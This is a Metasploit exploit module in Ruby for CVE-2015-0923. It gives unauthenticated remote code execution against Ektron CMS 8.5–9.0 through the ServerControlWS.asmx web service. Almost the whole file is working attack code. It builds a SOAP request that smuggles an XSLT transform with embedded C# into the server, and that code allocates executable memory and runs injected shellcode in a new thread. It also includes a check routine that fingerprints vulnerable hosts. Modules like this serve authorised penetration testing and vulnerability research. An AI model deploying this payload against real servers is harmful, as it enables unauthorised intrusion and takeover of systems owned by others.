##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
      'Description'    => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
vulnerabilities in various operations within the ServerControlWS.asmx
web services. These vulnerabilities allow for RCE without authentication and
execute in the context of IIS on the remote system.
      },
      'Author'         => [
        'catatonicprime'
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-0923' ],
          [ 'US-CERT-VU', '377644' ],
          [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-02-05'
    ))

    register_options(
      [
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
        OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
        OptEnum.new('TARGETOP',
          [
            true,
            'The vulnerable web service operation to exploit',
            'ContentBlockEx',
              [
                'ContentBlockEx',
                'GetBookmarkString',
                'GetContentFlaggingString',
                'GetContentRatingString',
                'GetMessagingString'
              ]
          ])
      ])
  end


  def vulnerable_param
    return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
    'xslt'
  end

  def required_params
    return '' if datastore['TARGETOP'] == 'ContentBlockEx'
    '<showmode/>'
  end

  def target_operation
    datastore['TARGETOP']
  end

  def prologue
    <<-XSLT
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
      #{required_params}
      <#{vulnerable_param}>
        <![CDATA[
        <xsl:transform version="2.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
          <msxsl:script language="C#" implements-prefix="user">
XSLT
  end

  def epilogue
    <<-XSLT
          </msxsl:script>
          <xsl:template match="/">
            <xsl:value-of select="user:xml()"/>
          </xsl:template>
        </xsl:transform>
        ]]>
      </#{vulnerable_param}>
    </#{target_operation}>
  </soap:Body>
</soap:Envelope>
XSLT
  end

  def check

    fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = <<-XSLT
#{prologue}
            public string xml() {
              return "#{fingerprint}";
            }
#{epilogue}
XSLT

    res = send_request_cgi(
      {
        'uri'     => "#{uri_path}WorkArea/ServerControlWS.asmx",
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "text/xml; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'data' =>  xslt_data
      })

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def uri_path
    uri_path = target_uri.path
    uri_path << "/" if uri_path[-1, 1] != "/"
    uri_path
  end

  def build_referer
    if datastore['SSL']
      schema = "https://"
    else
      schema = "http://"
    end

    referer = schema
    referer << rhost
    referer << ":#{rport}"
    referer << uri_path
    referer
  end

  def exploit

    print_status("Generating the EXE Payload and the XSLT...")
    fingerprint = rand_text_alpha(5 + rand(5))

    xslt_data = <<-XSLT
#{prologue}
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

            [System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

            [System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
            private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

            public string xml()
            {
              string shellcode64 = @&quot;#{Rex::Text.encode_base64(payload.encoded)}&quot;;
              byte[] shellcode = System.Convert.FromBase64String(shellcode64);
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
              IntPtr hThread = IntPtr.Zero;
              IntPtr pinfo = IntPtr.Zero;
              UInt32 threadId = 0;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              return &quot;#{fingerprint}&quot;;
            }
#{epilogue}
XSLT

    print_status("Trying to run the xslt transformation...")
    res = send_request_cgi(
      {
        'uri'     => "#{uri_path}WorkArea/ServerControlWS.asmx",
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "text/xml; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'data' => xslt_data
      })
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      print_good("Exploitation was successful")
    else
      fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
    end

  end
end
